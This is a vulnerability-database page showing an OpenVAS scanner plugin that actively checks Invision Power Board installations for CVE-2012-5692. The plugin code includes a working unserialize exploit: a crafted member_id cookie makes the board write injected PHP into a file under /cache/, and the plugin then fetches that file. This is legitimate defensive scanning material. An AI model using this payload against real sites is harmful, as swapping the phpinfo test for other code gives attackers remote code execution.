Invision Power Board 'unserialize()' PHP Code Execution - Active Check
🗓️ 01 Nov 2012 00:00:00Reported by Copyright (C) 2012 Greenbone AGType
openvas🔗 plugins.openvas.org👁 23 Views
| Reporter | Title | Published | Views | Family All 22 |
|---|---|---|---|---|
| Invision Power Board <= 3.3.4 "unserialize()" PHP Code Execution | 1 Nov 201200:00 | – | zdt | |
| Invision Power Board <= 3.3.4 unserialize() PHP Code Execution (2) | 13 Nov 201200:00 | – | zdt | |
| CVE-2012-5692 | 1 Nov 201200:00 | – | circl | |
| CVE-2012-5692 | 31 Oct 201210:00 | – | cve | |
| CVE-2012-5692 | 31 Oct 201210:00 | – | cvelist | |
| Invision Power Board 3.3.4 RCE | 30 Nov 201200:00 | – | dsquare | |
| Invision Power Board (IP.Board) 3.3.4 - 'Unserialize()' PHP Code Execution | 1 Nov 201200:00 | – | exploitdb | |
| Invision Power Board (IP.Board) 3.3.4 - Unserialize Regex Bypass | 7 Nov 201200:00 | – | exploitdb | |
| Invision Power Board (IP.Board) 3.3.4 - 'Unserialize()' PHP Code Execution (Metasploit) | 13 Nov 201200:00 | – | exploitdb | |
| Invision Power Board (IP.Board) 3.3.4 - Unserialize Regex Bypass | 7 Nov 201200:00 | – | exploitpack |
10
# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE = "cpe:/a:invision_power_services:invision_power_board";
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.103601");
script_version("2023-12-22T16:09:03+0000");
script_cve_id("CVE-2012-5692");
script_tag(name:"last_modification", value:"2023-12-22 16:09:03 +0000 (Fri, 22 Dec 2023)");
script_tag(name:"creation_date", value:"2012-11-01 16:02:27 +0200 (Thu, 01 Nov 2012)");
script_tag(name:"cvss_base", value:"10.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
script_name("Invision Power Board 'unserialize()' PHP Code Execution - Active Check");
script_category(ACT_ATTACK);
script_family("Web application abuses");
script_copyright("Copyright (C) 2012 Greenbone AG");
script_dependencies("invision_power_board_detect.nasl");
script_require_ports("Services/www", 80);
script_mandatory_keys("invision_power_board/installed");
script_xref(name:"URL", value:"http://community.invisionpower.com/topic/371625-ipboard-31x-32x-and-33x-security-update/");
script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/22398/");
script_tag(name:"summary", value:"Invision Power Board is prone to a PHP Code Execution
vulnerability because it fails to properly sanitize user-supplied input.");
script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");
script_tag(name:"impact", value:"An attacker can exploit these issues to inject and execute
arbitrary malicious PHP code in the context of the affected application. This may facilitate a
compromise of the application and the underlying system, other attacks are also possible.");
script_tag(name:"solution", value:"The vendor has released a patch to address this
vulnerability.");
script_tag(name:"qod_type", value:"remote_vul");
script_tag(name:"solution_type", value:"VendorFix");
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
include("misc_func.inc");
if(!port = get_app_port(cpe:CPE))
exit(0);
if(!dir = get_app_location(cpe:CPE, port:port))
exit(0);
if(dir == "/")
dir = "";
req = http_get(item:dir + "/index.php", port:port);
buf = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);
if(!buf)
exit(0);
prefix = eregmatch(pattern:"Cookie: (.+)session", string:buf);
host = http_host_name(port:port);
vtstrings = get_vt_strings();
file = vtstrings["lowercase_rand"] + ".php";
req = string("GET ", dir, "/index.php?<?error_reporting(0);print(___);phpinfo();die;?> HTTP/1.0\r\n",
"Host: ", host, "\r\n",
"Cookie: ",prefix,"member_id=a%3A1%3A%7Bi%3A0%3BO%3A15%3A%22db_driver_mysql%22%3A1%3A%7Bs%3A3%3A%22obj%22%3Ba%3A2%3A%7Bs%3A13%3A%22use_debug_log%22%3Bi%3A1%3Bs%3A9%3A%22debug_log%22%3Bs%3A27%3A%22cache%2F",file,"%22%3B%7D%7D%7D\r\n",
"Connection: close\r\n\r\n");
buf = http_send_recv(port:port, data:req, bodyonly:FALSE);
if(!buff || buf !~ "^HTTP/1\.[01] 200")
exit(0);
sleep(3);
url = dir + "/cache/" + file;
req = http_get(item:url, port:port);
buf = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);
if(!buf)
exit(0);
if("<title>phpinfo()" >< buf) {
report = http_report_vuln_url(port:port, url:url);
security_message(port:port, data:report);
exit(0);
}
exit(99);
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
22 Dec 2023 00:00Current
6.5Medium risk
Vulners AI Score6.5
CVSS 210
EPSS0.26049